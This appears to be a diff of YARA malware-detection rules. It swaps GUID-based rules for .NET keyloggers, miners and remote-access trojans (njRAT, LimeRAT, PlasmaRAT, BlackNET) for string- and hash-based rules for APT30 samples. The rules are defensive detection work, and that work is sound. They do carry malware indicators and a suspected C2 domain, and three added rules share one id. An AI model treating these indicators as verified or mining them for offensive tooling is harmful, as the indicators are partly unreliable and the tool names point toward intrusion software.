-rule SIGNATURE_BASE_HKTL_NET_GUID_Gray_Keylogger_2 : FILE
+rule SIGNATURE_BASE_APT30_Generic_A : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "40ab8103-9151-5a5c-8b70-ab3bfd3896f9"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/graysuit/gray-keylogger-2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4333-L4349"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb7cbfcc7d57298d3ce325596834e94f3594bafb0273e9f81715114b21af6371"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6b851d94-d3bd-5c76-8fd0-adb42b3fab73"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L409-L429"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c20660a8a55c6c6cb058fb233e0b29e1e4be2683181dbdfb06e17037d0ed8c31"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
+		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
+		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
+		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
+		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
 
 	strings:
-		$typelibguid0lo = "e94ca3ff-c0e5-4d1a-ad5e-f6ebbe365067" ascii wide
-		$typelibguid0up = "E94CA3FF-C0E5-4D1A-AD5E-F6EBBE365067" ascii wide
-		$typelibguid1lo = "1ed07564-b411-4626-88e5-e1cd8ecd860a" ascii wide
-		$typelibguid1up = "1ED07564-B411-4626-88E5-E1CD8ECD860A" ascii wide
+		$s5 = "WPVWhhiA" fullword ascii
+		$s6 = "VPWVhhiA" fullword ascii
+		$s11 = "VPhhiA" fullword ascii
+		$s12 = "uUhXiA" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Miner : FILE
+rule SIGNATURE_BASE_APT30_Sample_17 : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d0631817-10a2-55bf-a41d-226fa0dcb9f9"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Lime-Miner"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4351-L4365"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57d75144415518c24e2a24fa933e9e205513e16c2ec062b2a3c715a0fa6415db"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L431-L445"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
+		logic_hash = "43913151325fbce993dbfec0acf64ca835b12270c47156ae81b0ce4f32c7bde1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "13958fb9-dfc1-4e2c-8a8d-a5e68abdbc66" ascii wide
-		$typelibguid0up = "13958FB9-DFC1-4E2C-8A8D-A5E68ABDBC66" ascii wide
+		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
+		$s4 = "IEXPL0RE" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Blacknet : FILE
+rule SIGNATURE_BASE_APT30_Sample_18 : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9fbb3c11-7b11-5910-9c8b-247aeefbaa87"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/BlackHacker511/BlackNET"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4367-L4387"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a64b8d7d73292675e86ff73a0548582af36a6ed3c37fec52a3d2e012c49b9aa8"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L446-L466"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
+		logic_hash = "d20f1d1b7b43defc36c7b1f99f14ed9e73e770b6f43d0ad92110cf9178b35b15"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "c2b90883-abee-4cfa-af66-dfd93ec617a5" ascii wide
-		$typelibguid0up = "C2B90883-ABEE-4CFA-AF66-DFD93EC617A5" ascii wide
-		$typelibguid1lo = "8bb6f5b4-e7c7-4554-afd1-48f368774837" ascii wide
-		$typelibguid1up = "8BB6F5B4-E7C7-4554-AFD1-48F368774837" ascii wide
-		$typelibguid2lo = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide
-		$typelibguid2up = "983AE28C-91C3-4072-8CDF-698B2FF7A967" ascii wide
-		$typelibguid3lo = "9ac18cdc-3711-4719-9cfb-5b5f2d51fd5a" ascii wide
-		$typelibguid3up = "9AC18CDC-3711-4719-9CFB-5B5F2D51FD5A" ascii wide
+		$s0 = "w.km-nyc.com" fullword ascii
+		$s1 = "tscv.exe" fullword ascii
+		$s2 = "Exit/app.htm" ascii
+		$s3 = "UBD:\\D" ascii
+		$s4 = "LastError" ascii
+		$s5 = "MicrosoftHaveAck" ascii
+		$s7 = "HHOSTR" ascii
+		$s20 = "XPL0RE." ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Plasmarat : FILE
+rule SIGNATURE_BASE_APT30_Generic_G : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "13362cba-f9b2-50c8-95cc-504e585bdd42"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/mwsrc/PlasmaRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4389-L4405"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4474f0c9d76a6ec1dd754b0b9ba0bcedce3f82148ecddcdcc4d040220c407788"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34269de3-4559-58a5-a621-0ad72857dc9e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L468-L489"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1612b392d6145bfb0c43f8a48d78c75f"
+		hash = "53f1358cbc298da96ec56e9a08851b4b"
+		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
+		hash = "f18be055fae2490221c926e2ad55ab11"
+		logic_hash = "6926d73839958acd06835c1943edb150a0f60cdc269fac053531a0e0483e0521"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "b8a2147c-074c-46e1-bb99-c8431a6546ce" ascii wide
-		$typelibguid0up = "B8A2147C-074C-46E1-BB99-C8431A6546CE" ascii wide
-		$typelibguid1lo = "0fcfde33-213f-4fb6-ac15-efb20393d4f3" ascii wide
-		$typelibguid1up = "0FCFDE33-213F-4FB6-AC15-EFB20393D4F3" ascii wide
+		$s0 = "%s\\%s\\%s=%s" fullword ascii
+		$s1 = "Copy File %s OK!" fullword ascii
+		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s4 = "open=%s" fullword ascii
+		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
+		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_RAT : FILE
+rule SIGNATURE_BASE_APT30_Sample_19 : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "31a0e9ca-9da1-557a-bcc5-1351fa90a0e1"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Lime-RAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4407-L4461"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dfe208c2962c03c14ff21f5936f476ee75ebd5f1464d26e5da0e66d6e995716d"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-03"
+		modified = "2023-01-06"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L491-L517"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cfa438449715b61bffa20130df8af778ef011e15"
+		logic_hash = "9127ae31c5b818a2759f9d33c74c8631079539e7fa8e49e5514b016df2624065"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "e58ac447-ab07-402a-9c96-95e284a76a8d" ascii wide
-		$typelibguid0up = "E58AC447-AB07-402A-9C96-95E284A76A8D" ascii wide
-		$typelibguid1lo = "8fb35dab-73cd-4163-8868-c4dbcbdf0c17" ascii wide
-		$typelibguid1up = "8FB35DAB-73CD-4163-8868-C4DBCBDF0C17" ascii wide
-		$typelibguid2lo = "37845f5b-35fe-4dce-bbec-2d07c7904fb0" ascii wide
-		$typelibguid2up = "37845F5B-35FE-4DCE-BBEC-2D07C7904FB0" ascii wide
-		$typelibguid3lo = "83c453cf-0d29-4690-b9dc-567f20e63894" ascii wide
-		$typelibguid3up = "83C453CF-0D29-4690-B9DC-567F20E63894" ascii wide
-		$typelibguid4lo = "8b1f0a69-a930-42e3-9c13-7de0d04a4add" ascii wide
-		$typelibguid4up = "8B1F0A69-A930-42E3-9C13-7DE0D04A4ADD" ascii wide
-		$typelibguid5lo = "eaaeccf6-75d2-4616-b045-36eea09c8b28" ascii wide
-		$typelibguid5up = "EAAECCF6-75D2-4616-B045-36EEA09C8B28" ascii wide
-		$typelibguid6lo = "5b2ec674-0aa4-4209-94df-b6c995ad59c4" ascii wide
-		$typelibguid6up = "5B2EC674-0AA4-4209-94DF-B6C995AD59C4" ascii wide
-		$typelibguid7lo = "e2cc7158-aee6-4463-95bf-fb5295e9e37a" ascii wide
-		$typelibguid7up = "E2CC7158-AEE6-4463-95BF-FB5295E9E37A" ascii wide
-		$typelibguid8lo = "d04ecf62-6da9-4308-804a-e789baa5cc38" ascii wide
-		$typelibguid8up = "D04ECF62-6DA9-4308-804A-E789BAA5CC38" ascii wide
-		$typelibguid9lo = "8026261f-ac68-4ccf-97b2-3b55b7d6684d" ascii wide
-		$typelibguid9up = "8026261F-AC68-4CCF-97B2-3B55B7D6684D" ascii wide
-		$typelibguid10lo = "212cdfac-51f1-4045-a5c0-6e638f89fce0" ascii wide
-		$typelibguid10up = "212CDFAC-51F1-4045-A5C0-6E638F89FCE0" ascii wide
-		$typelibguid11lo = "c1b608bb-7aed-488d-aa3b-0c96625d26c0" ascii wide
-		$typelibguid11up = "C1B608BB-7AED-488D-AA3B-0C96625D26C0" ascii wide
-		$typelibguid12lo = "4c84e7ec-f197-4321-8862-d5d18783e2fe" ascii wide
-		$typelibguid12up = "4C84E7EC-F197-4321-8862-D5D18783E2FE" ascii wide
-		$typelibguid13lo = "3fc17adb-67d4-4a8d-8770-ecfd815f73ee" ascii wide
-		$typelibguid13up = "3FC17ADB-67D4-4A8D-8770-ECFD815F73EE" ascii wide
-		$typelibguid14lo = "f1ab854b-6282-4bdf-8b8b-f2911a008948" ascii wide
-		$typelibguid14up = "F1AB854B-6282-4BDF-8B8B-F2911A008948" ascii wide
-		$typelibguid15lo = "aef6547e-3822-4f96-9708-bcf008129b2b" ascii wide
-		$typelibguid15up = "AEF6547E-3822-4F96-9708-BCF008129B2B" ascii wide
-		$typelibguid16lo = "a336f517-bca9-465f-8ff8-2756cfd0cad9" ascii wide
-		$typelibguid16up = "A336F517-BCA9-465F-8FF8-2756CFD0CAD9" ascii wide
-		$typelibguid17lo = "5de018bd-941d-4a5d-bed5-fbdd111aba76" ascii wide
-		$typelibguid17up = "5DE018BD-941D-4A5D-BED5-FBDD111ABA76" ascii wide
-		$typelibguid18lo = "bbfac1f9-cd4f-4c44-af94-1130168494d0" ascii wide
-		$typelibguid18up = "BBFAC1F9-CD4F-4C44-AF94-1130168494D0" ascii wide
-		$typelibguid19lo = "1c79cea1-ebf3-494c-90a8-51691df41b86" ascii wide
-		$typelibguid19up = "1C79CEA1-EBF3-494C-90A8-51691DF41B86" ascii wide
-		$typelibguid20lo = "927104e1-aa17-4167-817c-7673fe26d46e" ascii wide
-		$typelibguid20up = "927104E1-AA17-4167-817C-7673FE26D46E" ascii wide
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
+		$s2 = "\\TEMP\\" ascii
+		$s3 = "\\Temporary Internet Files\\" ascii
+		$s5 = "%s TotalSize:%u Bytes" fullword ascii
+		$s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
+		$s7 = "User:%-32s" fullword ascii
+		$s8 = "\\Desktop\\" ascii
+		$s9 = "%s.%u_%u" fullword ascii
+		$s10 = "Nick:%-32s" fullword ascii
+		$s11 = "E-mail:%-32s" fullword ascii
+		$s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
+		$s14 = "Type:%-8s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and 8 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Njrat : FILE
+rule SIGNATURE_BASE_APT30_Generic_E_V2 : FILE
 {
 	meta:
-		description = "Detects VB.NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2140d69e-fb15-50a2-ba85-b7c8293003fb"
-		date = "2020-12-30"
-		modified = "2023-04-06"
-		reference = "https://github.com/mwsrc/njRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4463-L4487"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "739914bf21b1ac198e904b50986e28a50e53044696dafa777149f18f024beb5e"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40897687-fb17-568e-9907-e9588a53bbe0"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L519-L535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
+		logic_hash = "25a7e5780f56b4f9cfb76494926c446a39a88bef2cda82b31e6de2b85c5edbda"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "5a542c1b-2d36-4c31-b039-26a88d3967da" ascii wide
-		$typelibguid0up = "5A542C1B-2D36-4C31-B039-26A88D3967DA" ascii wide
-		$typelibguid1lo = "6b07082a-9256-42c3-999a-665e9de49f33" ascii wide
-		$typelibguid1up = "6B07082A-9256-42C3-999A-665E9DE49F33" ascii wide
-		$typelibguid2lo = "c0a9a70f-63e8-42ca-965d-73a1bc903e62" ascii wide
-		$typelibguid2up = "C0A9A70F-63E8-42CA-965D-73A1BC903E62" ascii wide
-		$typelibguid3lo = "70bd11de-7da1-4a89-b459-8daacc930c20" ascii wide
-		$typelibguid3up = "70BD11DE-7DA1-4A89-B459-8DAACC930C20" ascii wide
-		$typelibguid4lo = "fc790ee5-163a-40f9-a1e2-9863c290ff8b" ascii wide
-		$typelibguid4up = "FC790EE5-163A-40F9-A1E2-9863C290FF8B" ascii wide
-		$typelibguid5lo = "cb3c28b2-2a4f-4114-941c-ce929fec94d3" ascii wide
-		$typelibguid5up = "CB3C28B2-2A4F-4114-941C-CE929FEC94D3" ascii wide
+		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
+		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
+		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
+		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Manager : FILE
+rule SIGNATURE_BASE_APT30_Sample_20 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "eef65d2c-ddbc-50c3-a6a0-e7032a55e92d"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/TheWover/Manager"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4489-L4505"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb6ef79b7430f0d7892c8c2819bc0d6f9493e0c74ca475b9f82b28a6b565dfb8"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "91246101-246b-5da9-9e55-7f361d1f6437"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L537-L557"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
+		logic_hash = "f94cbd4b8e7ba302db9ac4ef3617bd68aa0aa1ee3cfc6dfee4621223bbdae3c5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "dda73ee9-0f41-4c09-9cad-8215abd60b33" ascii wide
-		$typelibguid0up = "DDA73EE9-0F41-4C09-9CAD-8215ABD60B33" ascii wide
-		$typelibguid1lo = "6a0f2422-d4d1-4b7e-84ad-56dc0fd2dfc5" ascii wide
-		$typelibguid1up = "6A0F2422-D4D1-4B7E-84AD-56DC0FD2DFC5" ascii wide
+		$s0 = "dizhi.gif" fullword ascii
+		$s2 = "Mozilla/u" ascii
+		$s3 = "XicrosoftHaveAck" ascii
+		$s4 = "flyeagles" ascii
+		$s10 = "iexplore." ascii
+		$s13 = "WindowsGV" fullword ascii
+		$s16 = "CatePipe" fullword ascii
+		$s17 = "'QWERTY:/webpage3" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Neo_Confuserex : FILE
+rule SIGNATURE_BASE_APT30_Sample_21 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d73117a6-4512-5545-a4f4-72d8cf708340"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/XenocodeRCE/neo-ConfuserEx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4507-L4521"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2394b2a7098b284b18bf9fcda6ca26b34ae0143f8bd146578cc9c2d68df0741c"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "72005b40-91f7-5661-9478-8680f999b245"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L559-L575"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d315daa61126616a79a8582145777d8a1565c615"
+		logic_hash = "e3e431bb6915d99b8aa1915419b60ba47372005b9b4994a924746a91bad80310"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "e98490bb-63e5-492d-b14e-304de928f81a" ascii wide
-		$typelibguid0up = "E98490BB-63E5-492D-B14E-304DE928F81A" ascii wide
+		$s0 = "Service.dll" fullword ascii
+		$s1 = "(%s:%s %s)" fullword ascii
+		$s2 = "%s \"%s\",%s %s" fullword ascii
+		$s5 = "Proxy-%s:%u" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpallowedtoact : FILE
+rule SIGNATURE_BASE_APT30_Sample_22 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "13b7f5e0-4d34-533d-a182-b3fe7c93ca43"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/pkb1s/SharpAllowedToAct"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4523-L4537"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "872f4d70f7cefff8c1fadbe61d858c898a259559889ca4951f5368589d28169d"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6c1b3dd2-4383-51a2-9185-2365a4d1e784"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L577-L595"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
+		logic_hash = "88a45d248eba7b9776e2e7d345d2948e00a94a7e359acb89d1943be55ab342ad"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "dac5448a-4ad1-490a-846a-18e4e3e0cf9a" ascii wide
-		$typelibguid0up = "DAC5448A-4AD1-490A-846A-18E4E3E0CF9A" ascii wide
+		$s1 = "(\\TEMP" fullword ascii
+		$s2 = "Windows\\Cur" fullword ascii
+		$s3 = "LSSAS.exeJ" fullword ascii
+		$s4 = "QC:\\WINDOWS" fullword ascii
+		$s5 = "System Volume" fullword ascii
+		$s8 = "PROGRAM FILE" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Supersqlinjectionv1 : FILE
+rule SIGNATURE_BASE_APT30_Generic_F : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "247bef0d-7873-51c7-97b8-1be6dfe7708d"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/shack2/SuperSQLInjectionV1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4539-L4553"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e97bf351c4c7507f3cf40a2d7aa36c60906a8069bb3644ce6ef05911a4d9a5c"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cff8b921-9afc-5a52-84cb-825de33fc86e"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L597-L615"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4997b52e0cc12a1a0c84cec3565dd9e6b486ccef4eb8791c566c7a534d36e3ff"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
